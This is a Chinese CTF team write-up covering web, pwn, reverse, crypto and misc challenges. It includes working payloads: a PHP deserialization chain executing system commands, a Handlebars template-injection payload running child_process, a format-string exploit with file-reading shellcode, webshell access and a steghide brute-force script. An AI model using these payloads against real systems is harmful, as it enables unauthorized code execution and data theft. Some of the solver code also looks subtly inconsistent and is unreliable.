NYNUSEC战队WRITEUP

一、  战队信息

战队名称:NYNUSEC

二、  解题情况

三、  解题过程

题目一 ApeCoin

启动靶机,看到是一个html模板

随后翻找无果,使用dirsearch扫描目录

发现/robots.txt,之后是一个see_see_this,访问是乱码(后面知道没用)

随后下载网站备份文件www.tar.gz,审计源码

发现static/font/.txt.php,审计后是冰蝎马,把$key提出来解密

解密出来密码为74658263

随后使用冰蝎连接

使用终端ls,随后cat /f1ag

flagf2d1f580d-d20b-4b86-b5e2-06d113b30abc}

题目二 get_source

启动容器,发现访问任何路径都是200白屏,访问带.的文件就是404,但是访问index.php不是404,所以断定存在index.php,通过插件判断到环境是php7.4.21

随后查找发现该版本存在任意文件读取漏洞,参考URL:https://blog.csdn.net/weixin_46203060/article/details/129350280

随后构造Payload读取index.php内容

a != b,md5(a) = sha1(pwn),这里使用a[ ]=1&pwn[ ]=1的方法绕过

传入即可获得flag

flag{2243263c-dabe-4ca5-a35b-f4f228c90f6a}

题目三 easyphp

访问靶机,发现是php题目,发现GET传入参数win,require_once执行,尝试读取nginx配置文件

读取成功,但是由于require_once只能包含一次,所以只能换办法,这里使用脏数据读取,require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,构造payload:

http://123.56.237.147:43520/?win=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/usr/share/nginx/html/flag.php

但是是假flag…

读取了index.php发现无果,遂读取hint.php

发现存在pop链注入,写Payload

<?php

class get

{

    public $cmd;

    public function __construct(){

        $this->cmd="system('ls /');";

    }

}

class mouse

{

    public $rice;

    public function __construct(){

        $this->rice=new get();

    }

}

class ct

{

    public $fish;

    public function __construct(){

        $this->fish=new mouse();

    }

}

class dog

{

    public $a;

    public $b;

    public $c;

    public function __construct(){

        $this->b=&$this->a;

        $this->c=new ct();

    }

}

$payload = serialize(new dog());

echo urlencode(($payload));

// O%3A3%3A%22dog%22%3A3%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BR%3A2%3Bs%3A1%3A%22c%22%3BO%3A2%3A%22ct%22%3A1%3A%7Bs%3A4%3A%22fish%22%3BO%3A5%3A%22mouse%22%3A1%3A%7Bs%3A4%3A%22rice%22%3BO%3A3%3A%22get%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3BS%3A15%3A%22%5C73%5C79%5C73%5C74%5C65%5C6d%5C28%5C27%5C6c%5C73%5C20%5C2f%5C27%5C29%5C3b%22%3B%7D%7D%7D%7D

随后需要手动将序列化字符串的s:3:"cmd";s','s:3:"cmd";S部分重复,同时将system函数部分转换为十六进制以绕过过滤(下文所有命令也采用此方法)

发现flag位于/realflag,但是多次尝试之后读取失败,发现是一个目录

于是浏览目录,发现you_want_flag.php

查看you_want_flag.php,得到flag

flag{b58c13c9-1b1e-419a-be0d-195e8fb0b816}

题目四 ezupload

启动靶机,这很明显又是一个模板

尝试扫描目录,发现扫描到/flag 200

访问得到flag

flag(3f9f0495-f7d5-4491-9570-7c9770e424ed}

题目五node_is_good

启动靶机,看到题目猜出来是nodejs,提示访问/src

访问src得到源码

使用vscode格式化

发现是使用的express框架,路由有read、upload,尝试使用/read读取文件

可以读取到文件,但flag和pack被过滤了,由于还有upload路由,尝试上传代码随后模板注入执行,尝试上传读取flag的代码去注入,console.log(“fs.readFileSync(req.query.read).toString()”)

随后审计代码可以看到上传的文件被统一命名,路径为/tmp/nodeisgood.tmp,尝试访问,但是不解析,加上了<%= %>也无果

所以方法行不通,所以更换方法,尝试从Express框架入手,随后使用模板注入,先将模板上传,随后fs.readFileSync读取时便可执行代码,具体思路参考文章https://blog.csdn.net/m0_53008479/article/details/127799085

构造Payload,这里执行命令去查看根目录文件

{{#with "s" as |string|}}

  {{#with "e"}}

    {{#with split as |conslist|}}

      {{this.pop}}

      {{this.push (lookup string.sub "constructor")}}

      {{this.pop}}

      {{#with string.split as |codelist|}}

        {{this.pop}}

        {{this.push "return process.mainModule.require('child_process').execSync('ls / > /tmp/shell').toString();"}}

        {{this.pop}}

        {{#each conslist}}

          {{#with (string.sub.apply 0 codelist)}}

            {{this}}

          {{/with}}

        {{/each}}

      {{/with}}

    {{/with}}

  {{/with}}

{{/with}}

随后进行URL编码后上传

我们要实现注入,就需要通过home路由向/home路由发包,去执行刚刚上传的Payload实现模板注入

查看刚刚shell命令的执行结果

可以看到根目录下有Fffff111111aaaagggg,于是直接调用read接口读取

flag{85758679-3a32-494d-8999-65502daec3ce}

题目六 RE1

分析文件结构,无壳

随后使用Ida64位静态分析

运行提示输入表达式,输入后字符串存入v8

sub_401540函数对输入字符串的格式进行重整

然后传入sub_401AD0

验证是不是数字然后进行运算

然后传入sub_401850

判断长度是否正确,正确的话计算出加密函数地址进行加密

密文:

写出脚本解flag

v9 = [99, -67, 128, 86, 125, 76, -58, -43, 68, 102, 109, 44, -104, -92, 30, 80, 25, 92, -98, 65, -117, 85, 5, 50, -65, -31, 126, -6, -78, -109, -10, 42]

s = [0 for i in range(256 * 2)]

for i in range(256):

    s[i] = i

    s[i + 256] = v9[0]

v5 = 0

v7 = 0

num0 = 99

print(chr(num0), end="")    # 第一个字符仅参与解密在下面不输出

for j in range(1, 32):

    for i in range(256):

        v7 = (v9[j-1] + v7 + s[i]) % 256

        v4 = s[v7]

        s[v7] = s[i]

        s[i] = v4

    v5 = 0

    for i in range(0,256,2):

        v5 += s[i]

        v5 ^= v9[j-1]

    print(chr(((v9[j] & 0xff) ^ v5& 0xff)), end="")

解出结果为  ca1acd0c7d7111eeaf0296085339ce83,即flag

flag{ca1acd0c7d7111eeaf0296085339ce83}

题目七 sign-format

下载附件,CheckSec

Ida打开查看main函数:

发现read读入format在bss段,

并且mprotect函数给了bss段可执行权限,可以使用shellcode,但发现shellcode并没拿到权限,于是想到bss段format可以覆写got表并传入/bin/sh,但调试程序的时候发现关闭了输出流,于是使用orw直接读取flag

在bss段布置来实现执行shellcode(orw)的跳板,之后修改dlfini的rsi偏移来指向orw执行的地址即可,后续程序执行会读出flag

具体EXP:

from pwn import *

from ctypes import *

binary = './pwn'

elf = ELF('./pwn')

context.binary = binary

libc = elf.libc

r=remote("123.56.237.147",48713)

r.recvline()

s= shellcraft.open("./flag",0)

s+= shellcraft.read(1,0x4040b0 + 0x100,0x100)

s+= shellcraft.write(2,0x4040b0 + 0x100,0x100)

p = "%{}c%30$hn".format(0x308)

p = p.ljust(0x40,'\x00')

p += p64(0x4040b8)

p += "\x90"*0x10

p += asm(s)

print(len(p))

r.send(p)

r.interactive()

flag{607c5687-4cf6-357c-83de-a4eb954b7aca}

题目八 babyrsa

题目给了五个round,和一个加密脚本,那我们就参考加密脚本进行分析

首先根据函数确定执行顺序

然后分析函数

这里将n2当做m进行十次加密

将c输出到文本后面

然后看txt中的值为10个n和c

所以这个部分可以用中国剩余定理来解

然后看第二个函数

这里知道c1和c2,e1和e2,然后将n2作为n。N3为m

很明显用共模攻击

然后看第三个函数

因为已知e*d和n

由e,d 的定义我们可以知道:

ed-1=k(p-1)(q-1)

这里我们任取一个小于n的数g

从而:

ged-1 =gk(p-1)(q-1)

在mod n 下

ged-1 =1

pq=ged-1 -1=0 (mod n)

令 k=ed-1

则:

pq=gk -1=(gk/2 -1)(gk/2 +1) = 0(mod n)

我们可以发现如果gk/2 -1 在 mod n下 如果等于p或者q (即与n有非1最大公因子) 那么就可以分解n了. 持续分解(gk -1)=(gk1 -1)(gk1 +1)(gk2 +1)…(gk/2 +1)

如果直到 不能再分解那么说明失败 可以换一个 g 继续尝试. 如果成功,那么就说明找到了(gki -1 必须不为0)

所以知道pq之后就可以正常求解rsa

然后看第四个函数

所以根据脚本即可求得flag

EXP如下:

from Crypto.Util.number import long_to_bytes

import random

from gmpy2 import gcdext, invert, powmod

n = [18431707175796628027225210155764866137060589315850638917972353197871917045314474893373874146167401473640496246918625073265314997076179084530975296256697950503808356831143505633589397070754757130347166337448241649490343632413194818305304282134652935734618351907444876747782412498406589594074346525589905804627592138765992193075504467772493903710487629594988418988816461730614064472246359730211736860698588935743474739456810313578221344149212967580031412892687641217848936661879291425099878596289403526996814326634014199800848745187073801631429637963652883750120648966862626291870121641208420678002017364509249530764747, 14145693897141879525840664438283759821358469464703980311150286197774061655269643593339816338763581126036204650731015715608716649019120247894671819635572639702297628616505328154665608694761993104253433191662257428651230564621033703840374238283098946482496825723935809252603374188301371026031934804191647040480124274766742473995602296423800386148472679984304299323087549910890044334019073640081344033591196347814849923627262807145570123585406584120926847557042642632328080411777972450857396733507594125111544313786964421300628357394817603934472199493084525674623520392865603979693428355417558604577825474441676237227989, 18328366459806542970414782482522644251249973175412184918375187368337857388595074542418558924363449997442308642240518237481809307628057494582393372506022132819010410242686193550894774354189598629653504850289550400201580184032079513787238377699965750487292287032818746740503301354763211450701594032787858045479916391020898664567510418276797066083978957230786055406099955808855106919520134292791463990872298332368374281605285909673736503878906456860129802112339080032529021421969681477406950090927077476710012056152567501270798287810734377603580314062576510971518789736851256880848125729522562004210454550396947353002701, 13892173543265481156393614877743252091356523279451308452465139372725756834054298367030770852538169250461439607972921489028017751247776732769299792365279897040092034862285973205241117128445355230064598554222229058728934495880925342044908394815983059524515035206034579476641220560684300201174679913290770019257152099999763276092315187522984804635406861398895193116724034542845277267529141307790094608880447818537827089313922581190239356889374653905348537823660164130577055741013309127682348014185126678973112236569713425273275851542251529280114647378998420423599173718363406954180691079491158009860097177651883840800913, 25931944327275440730121825142491688732627507217913274133911000058167400322827696441827216482747141105489071698339457914271959956530795163550510723817793534813405331152070267239674275367230158331538774113796440325313992662361896765191331324662661827820496779628497733947801048583293586303580427016629670770252325328322089089912620710817509613807258913428398368326489530988878767135277493930774374325520096314937969266749192390063918924563915355875877816069337019504543128036385832955481211426939237202661603847686261981779526202370645412102947380979822328218557522653212917811230672495894220355353293435974934373825033, 13391542785399588708552829351210087956883641515125074042315304426334156657809872464461572502519014425431002866370861764361547253594934246724197023038133352663375284808974862879628200451461121894930472443487305185448881168513908728268542974475122520261418449080070157249580715244954627776261095936527253658761584956735671709315908555724747673781562228441847181305817223487014998214582335865933252790301366210664498155005571480420602603872976422643029682851844778031186807453058822054122320713715531727950649638750053718553039173610812548836568077645531707638550227096040110178331680717826940857097667991518031143405763, 10661018216746797695429667637804127203646725591681531214833699319837662949962722180602886697745758643953793990211981205526249582255994944299648299338598281473820029194803720384507115456043923903572886866927376455821345630106061030933153596945142351989098427709979282970446919206844507317523824809023155570327758095044614918388469588423746283935026797928483619047653091058043551159094124906196869937781345500455791985391903225882391469645663039353147572357898752838567832277312831438100629652618942965076463460084761833327185156379936150490183724468369454672313401905127421894766632740502368701642304689675925913800689, 20182633671997423422044190079209748731081408253005472727551564302784434145531222554600250888633641995570056959927861819078132615720740826975764374044107623720274192644754703361346647256210234707921461637319620855947170722674904425111045253430882932275941597333590835687005738986496138711730523217263273332300211339450726197960894778412937640818291034516829493327106212351149422090761822762735298949423202597284105028287801170515124918642457618515457660308083304635495040247724410756402281626521868165640635825503602594580410998529905168924520831619837972805243173317414675537009221104531444141335545635717092578343067, 13205196037947478850072678723637223374897520216040790960690604286507245756016494229672162090858195986055621775812019911502613487238508741496207514842396894486677755906669059694383608173990783920788992415796711063868616100011307206665572940725739455694717000698475210290616112460519476241741168526434204917335279743948425211005603913709320381020138044523013150451791065934176219432979780086465120351288759122845721145032265981521404177225738585608603778529034325326146476086361192076333726188249655092325997508830257829218302337471014540319258518871704369481869652919101970587648039911862443949292645073871689207120159, 18993679737848730442620443987506536429982010735750938039274000248259118061145378721879970359848926346175920410935274458679237508661470243965270242631798851514473739876613630171641814275071989422018403731080655190186568816359202637834416458445102373726212841484304653389813806819452320807858071660593900910808698908406798285354102321940949300732791199455246799294078277813353547519034405982868709751692213745873376021404586308318591527103628122106362208713303329550731153425976273750441439271390869384451913308714632104445685584508607411462213533554937064183339589227513547797298018163848249580661121338058267313438241]

c = [18332360039785946489321870623815269985753746158861459150569598112014402896695181901760686159881359456029490851754791392860104524800698857851952048683087711170274564693473644387153066393126816874622568307143529174073426086900774808746527964157176644984208659254096137050812931970992963233059990402090219422639363503881374971180404614476175675341517804036257442868048387793775246628305167105526586268766979682025640583249927992233468838422582062990706232086875077218810181708510683136152781696872203009563078097281775498444747684178769200719166182820275361128347949846122345571729839331857265429515892958246893763588643, 11320469425625659447944572672127104215924996220806654104883406382573509992320627058076981450404770334617473696182574053311147414248595364490965507221536172348690663970121735140054038616565820713850943064083071079831065513458181200456474893698167658844784724020900641750099951242207355641902457408351489728809588982042368890495634661062508209569444860977808087159324411068716855660647565063854857834723569104981600005392387048537814058087753400275424200341649135186137643263410035894467733560501422964695791695100915763100944412664299664289566736865107978354482790197248991552108582815463899651285254118580658948423704, 11250461399779386326913254073468527449093994834046842007901847136889337199480293373517374696536983278119461022990030083561430132446915667543920052296369699640921553581218689123949605328654268066782846311438517743633894970974550817911234848999347198760120475383681239003104168684990135849266001783187956087741775409007737476991393227127711304354627515809662561647265947164511788316939535204416890967655939349404610967109007683998760981978392466562454674646060487585363558433477905620632224653631270609337500891974297436907278509824927975096946480769374708464448052320789795062628955485940141170301616730743809753451218, 9728070783603422726790305026269233180757448679371808091182627048326085978955982588027533752914237870241367507707682092599165777567832516566188998840865137473291816659679169720439829971887882435760256781338789855158273985670571203585843887377188618472721727412137187110899045674910779466902707910186196077005516348800627362695879964661706264721984164736879958672682479923187190220217725854493348343386772374023913918724505336020343727606925236248498831375012818689285902746744306634757224535589609553799424042986336264064852476133916682607297220717435616272704152778122659678630827735116570324546139388895776126233100, 10372377022739769752286893640496238286248878950239284012271672008133814958665240857715105732699889602983495683351218048834892283345332690787977246100395007583712050617142313552470546152083234794533924290018834916153198841398756152136542084574566033934256444131217525766449231068328554248036611267859336763317066902740351891502023864384592167685511187034430377718693145475936300887478999164816006725047516538190460176675713365356748683642952451598856582418600610697375811816567759097465251828643298609488409363407831718924618956584689966152747758252062752707093973079344401857582600328510100439016311624262855432345129, 12746074990094988125290302488022306969531651031585129639702544157968249941681932232200204608967409549361468416495900564133729466510225427792311033264805771929395691274427946157300261037704606620841054802306082626189979627089691644906883595442806640876312429444489674406733868287518051873496086688123043649863298650254793160396801774601344053904784337828973688458190429633625347881519825808256210517295781026342849104820930674536787650119565527421762524786905726229302883538428945110125556462188732673515356819977180220071094699285551905652034307558767250207637176198102692690816265677229250716139924530151140588675341, 8636516881848405202706323147002885007353780059160017779048921719307880858323096266990754982776133944540298995017561874950810330836700522199626161468498051458953701537278784467881407814358514446853328829597075966562463804297504945218794191051301448659137812611245419005715681430260746010408053402722332604499261905757546050935111392687776488487726436569494872303175830049261126927507696099950781746181255559015524141645155280047399282916443682532625149055484291466263721884324577263812450377253022644656921502178340028608190408875786696351581583107782381585789066897686348157813857964060507288451552805278288099274704, 6412766627400322049128650661439536630634697897055799579312252682784121840644628091082780054348546001917174344572122268533351837731986750406124170668466628270628929991391248208495700168711297697244066367314316755135773553361516435786240543523241144966657257688030024982286889800825673771875456808904751120486417221862535102525281914096922439119117546814234388335009155183507781721097383639944883530791825469761502800705417280630524502065920673838707195378484900398850513650602295932292156892756702624722821299933892695428449973487255438727741430499701069733216332007442200211804075792467501166625373852309052989932144, 7323532576223722346180805668144902752624979961975713429172374483895573381188604431363163735051787366857526023558826375670161661114683992934464600303092132040364593623549083934709793118367518944342135360617120116816045955499480022340239840855198692562536700950613569441627115036296852675752508919090021718654615105925942152898438961081310599573612253759719576533961205999963543436600437715202874922129022456534434673223404942393208338331387350947328341097795958916007735806631700268445470038756393772073665659715391885667784063811966073051023800511813605154500794244393782387043860305888221729678801696705013671597458, 382943004681099295332444420172468478242943489332778175255183493303684731545422034565125209677706218382909148637228249899430159148146578837499923778582878873543269627422049319414471935107111476636664126855098415527771320320014110743782104981626178319633721247813628089830997943080051771874484092476690561812881196077508335251201276527749624713820394921478133537643488179522047844177674300095534913008479070964193455407873924928886028958715922801316727092365175488386518021287652992974186169025932159615003171885340502309810265099199334339617704322273148895957129962016986620355413172666804779404068223221158124646982]

def cccc(n, c):

    N = 1

    for i in n:

        N *= i

    x = 0

    for i in range(len(n)):

        mi = N // n[i]

        ti = invert(mi, n[i])

        x += c[i] * mi * ti

    x = x % N

    return x

x = cccc(n, c)

e = 10

m, _ = powmod(x, e)

n = m

e1 = 65537

e2 = 84731

c1=1585460956371478358014706709052515290603769411694086203567347548677438603190306963660480257054194718081842055413142442411371783317247864151855310406868511302250366452216464986140280108136528150022557071124177556732065653857884852023680390544460637963828470794163920151017854039453109567822562407450258510955376741518286986211377922702150881768361198271139151405484893958729281752206219651760656339612414916889079301588246740231929262251845329897144136767994999566468680566673552798104235743748294554789829818396237690641878313323545394796020102762577870319613049463161869734736841964164206998101487217811484837781201

c2=12434006776634330420476277491709207144878226373696172466865824403472566180890543683302324657976319835530565193368235055602654962724355351425188986072019137460799663518374976490707220272856260231890837734085536222645149550435164360604591690058675151293426153733665098546211279575973148007708518445987619577060101053786212681455581647558497825900528285890225715807804674754171452668846978923385221410372907164256635621063068945059641440711301807076759442837643850786728146099578281554707982324719092923361091200962108758764305425336068739116215881081620911765527700114778450250922507158730494945560454334024928446469171

def aaaa(e1, e2, c1, c2, n):

    s, s1, s2 = gcdext(e1, e2)

    m = (powmod(c1, s1, n) * powmod(c2, s2, n)) % n

    return m

m = aaaa(e1, e2, c1, c2, n)

key = 69658816925700544629283247962254001698454915826363324167248687841428229657908807412264705772690024925952057696968940793220409087134042992738307862734366593456917584994891634588967704564463461140666162771378448630149297796122822465032888385447250081148319964251299583828999913167876190841429498106534206930794855355577715448350958330453012916812935545376223554657010675616333737562871829058955712614717967062388097830554769074812791090306089948504126897656071909647674533441922466703825370972386827731262770792101862343930584334617555653870995907311492428224015386618103475028606681032449205172767950706359755588301624951536442947704335651172215907781436880482476424688324617047897192103372008662354672541395688790786001

e = 0x10001

n = m

c = 11863157764887938780824579679371643447225713456937713139455448355138750546048767357754685394264878457427548420317960140760043591368197340631979346116915377490755707128510486267310697447660165717832704288859433884564622568136142152559210196202042032186946621446044322226115326468571388229369925749537907791870951835832402887333436573697535805221699431529443630706171928243718095829047868200440437300914623880058122845868296335686759626119932797809303358591871321868677694716513342508348424566444564091188283096388392533118302463885528323186673006330284158603096338578778923136251906089784179273618683529795470632440395

def fac(n, key):

    while True:

        k = key - 1

        g = random.randint(0, n)

        while k % 2 == 0:

            k = k // 2

            temp = powmod(g, k, n) - 1

            if gcdext(temp, n)[0] > 1 and temp != 0:

                return gcdext(temp, n)[0]

p = fac(n, key)

q = n // p

phi = (p - 1) * (q - 1)

m = powmod(c, invert(e, phi), n)

n = m

c = 2816736056550831653973157899506262168480964803166756293572880189176577881630790000276999096206812411096080372881789954172637160950190474795330245979531766081159871312457936325666134181134500105905111359723389919329114623407411163535294830491463973203982802730253713465016495675821972476067998011690656116432599713401287450098365165426916405282214433290711569156342791601423305946953973954621413878573603456700590631970960732956331418205770421655635464391354229333745390853601777279128370563052468332181418652663994521837627330594810890259573212379994374279868029267872371446355933222697100056083650060776007666183073

a = 6032255012157371164700839449542898126592510781190289067848160426876165189951498548810424090463495497254240852385327996020367612200233253652714782684592529295834508399602845086506666459956002787649982018171944404186939348972227785368826161631329498232311352585550355689962357547233819685756389741068890066262915845076213948619768623446047734222841712352116801857044746205363024718367924444942501205150747138618091689923805823531600663400066150044540190657719143803821379413879326243311349670384014889512830787892601344771894962321965492913814609341334113063437877829743121537190811440276283745574771747480203866956168

b = 1206808598909242535223376202389156773475195509201912000607981432006398598528783704808089821819011267947458676834452259929741273957718095195986027224077744723815196776751694084725008944111685380089765819072640641124176452132485301158877006786449055072190022151463977004480696273437839703625450503113220076272034783199115132878674594771158660499906314896727517373004222806580432047871587589294550579633876505236901173980743458637972423194533488244328660796974432193229150042095384808125939545211811637021512657530104465354340731623159501847989090953187756127021193637464098143884758072922518945377684605967349065921691

e = 65537

q = gcdext(a - pow(b - 2019, 2019), n)[0]

p = n // q

phi_n = (p - 1) * (q - 1)

d = invert(e, phi_n)

m = powmod(c, d, n)

print("Flag:", long_to_bytes(m))

运行脚本解密得到flag

flag{y0U_R_th3_ch0sen_on3_1n_the_field_of_Crypt0gr4phy}

题目九 hakiehs

下载附件 是一个后缀为vsdx,是一个visio工程文件,放进010

我们当作zip打开,找到一张图片

应该是三种图形文字 ctf嘛习惯了 去百度找找。第一个第三个在随波逐流图形编码找到

第二个、第三个同通过百度识图可以找到

有些图形有点差异 问题不大 有名字了 可以直接去百度在找一下

去百度找一下ancienthylian 这个就很容易看出来了

将三段密码分别解密拼起来得到flag

flag{linkzeldaganon}

题目十 我看看谁还不会RSA、

拿到附件打开是一个rsa加密

简单的RSA,不过注意用私钥加密 公钥解密

代码实现:

from Crypto.Util.number import long_to_bytes
p = 8666789885346075954502743436174521501697
q = 2449101960789395782044494299423558347143
e = 37777
c = 8232151627233115772131180151146951323147507324390914513031444555762539986162650
n = p * q
m = pow(c, e, n)
print(long_to_bytes(m))

运行解出flag

flag{r5a_Who_w0nt}

题目十一 Honor

解压附件,为一张图片

使用foremost分离得到另一张图片

Jpg图片常见的工具是outguess和steghide,尝试了outguess不对,于是猜测是steghide,由于通常是六位密码,所以参考以下文章挂后台进行了一波爆破

https://blog.csdn.net/Myon5/article/details/130877318

脚本如下

#bruteStegHide.sh

#!/bin/bash

for line in `cat $2`;do

    steghide extract -sf $1 -p $line > /dev/null 2>&1

    if [[ $? -eq 0 ]];then

        echo 'password is: '$line

        exit

    fi  

done

使用crunch生成密码字典

开始爆破密码

Crack success

看出来还有一层栅栏密码,使用在线工具解密,12栏栅栏得到flag

flag{424c076e-768c-3636-acb5-4676900b9eec}

题目十二 来都来了

拿到附件 放进010看一下 猜测为伪加密 改一下

将图中的09改为00

保存 打开txt 得到好多字符串

看着像是base64编码得,进行base64解密

得到奇怪的东西 但是看着有点规律于是放进了notepad++可以缩小看

得到flag

flag{cp2ae315-eef4-3fra-a768-cd9xb19cdk4e}

题目十三 芙宁娜

下载附件,得到misc01.png,首先解图片上的print()中的base64

From Base64

猜测flag应该是32位uuid,所以得到前28位flag

之后没有头绪,在将图片放进CyberChef查看文件内容时发现元数据中有图片背景上完整的十六进制内容,遂将其补全。

通过文件头判断是pyc,于是尝试执行,发现报错,重新输入十六进制内容后依旧报错,尝试在线网站依旧报错。查找资料发现是pyc隐写,参考链接

https://blog.csdn.net/luochen2436/article/details/123376678,工具地址为:https://github.com/AngelKitty/stegosauru。使用python3.6环境利用剑龙解十六进制拼出的pyc即可得到后四位flag 为8e8f},拼接即可得到flag

flag{bc8394aa-7e32-47e8-a9fd-1bf683af8e8f}

届ける言葉を今は育ててる
最后更新于 2023-11-25